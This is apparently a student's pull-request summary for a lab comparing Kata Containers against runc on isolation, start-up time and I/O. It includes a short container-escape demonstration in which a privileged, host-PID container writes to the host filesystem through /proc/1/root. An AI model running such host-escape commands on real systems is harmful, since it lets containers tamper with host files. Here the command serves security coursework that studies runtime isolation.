feat(lab12): kata vs runc isolation + perf + escape PoC

[Troshkins]

Goal

Deliver Lab 12 by installing and evaluating Kata Containers as a VM-backed container runtime, comparing its isolation and performance against runc, and demonstrating privileged host access under runc versus the isolated Kata runtime.

Changes

• Added submissions/lab12.md with the complete Lab 12 report.
• Installed and configured Kata Containers 3.32.0 as a containerd runtime.
• Compared host, runc, and Kata kernels to demonstrate the separate microVM kernel boundary.
• Added /dev and Linux capability-set comparisons for both runtimes.
• Added 5-run cold-start benchmarks for runc and Kata.
• Added I/O benchmark results with analysis of the benchmark limitations.
• Added a privileged host-PID namespace attack demonstration that successfully modifies the host filesystem under runc.
• Documented the equivalent Kata attempt, host-side verification, and the environment-specific QEMU /dev/sdc limitation.
• Added benchmark, isolation, kernel, and escape-attempt outputs under labs/lab12/results/.

Testing

Verified the host environment and Kata installation:

uname -a
ls -la /dev/kvm
containerd --version
cat /opt/kata/VERSION
grep -A2 "runtimes.kata" /etc/containerd/config.toml

Observed:

• Host kernel: 7.1.3-arch1-1
• Kata version: 3.32.0
• KVM available through /dev/kvm
• Kata registered as io.containerd.kata.v2

Verified separate kernels:

sudo nerdctl run --rm --net=none alpine:3.20 uname -a

sudo nerdctl run --rm --net=none \
  --runtime=io.containerd.kata.v2 \
  alpine:3.20 uname -a

Observed:

• runc kernel: 7.1.3-arch1-1 — same as the host.
• Kata guest kernel: 6.18.35 — separate microVM kernel.

Measured cold-start performance across five runs:

• runc average: 0.646 s
• Kata average: 2.307 s
• Measured Kata cold-start overhead: approximately 3.57x

Measured the provided 100 MB /dev/zero to /dev/null I/O benchmark:

• runc: 6.3 GB/s
• Kata: 11.7 GB/s

Verified privileged host access under runc:

sudo nerdctl run --rm --net=none \
  --privileged \
  --pid=host \
  alpine:3.20 \
  sh -c 'echo "OVERWRITTEN VIA HOST PID NAMESPACE" > /proc/1/root/tmp/lab12-target'

Host-side verification confirmed:

OVERWRITTEN VIA HOST PID NAMESPACE

The equivalent privileged Kata attempt did not modify the host target. Host-side verification remained:

original

The Kata attempt was also documented with the environment-specific VM device error:

QMP command failed: Could not open '/dev/sdc': No medium found

This limitation is explicitly documented rather than claiming that the attack payload successfully executed inside the Kata microVM.

Final staged-content validation:

git diff --cached --check

Observed no whitespace errors.

Artifacts & Screenshots

• submissions/lab12.md — complete Lab 12 submission and analysis.
• labs/lab12/results/host-kernel.txt — host kernel information.
• labs/lab12/results/runc-kernel.txt — runc container kernel evidence.
• labs/lab12/results/kata-kernel.txt — Kata guest kernel evidence.
• labs/lab12/results/dev-diff.txt — /dev isolation comparison.
• labs/lab12/results/runc-caps.txt and labs/lab12/results/kata-caps.txt — capability-set comparison.
• labs/lab12/results/startup-bench.txt — five-run startup benchmark.
• labs/lab12/results/io-bench.txt — I/O benchmark output.
• labs/lab12/results/runc-escape-attempt.txt — successful runc host-access demonstration.
• labs/lab12/results/runc-host-verification.txt — host-side confirmation of the runc write.
• labs/lab12/results/kata-escape-attempt.txt — equivalent Kata attempt and QEMU device error.
• labs/lab12/results/kata-host-verification.txt — host-side confirmation that the target remained unchanged.

Checklist

• Title is clear (feat(lab12): kata vs runc isolation + perf + escape PoC)
• No secrets/large temp files committed
• Submission file at submissions/lab12.md exists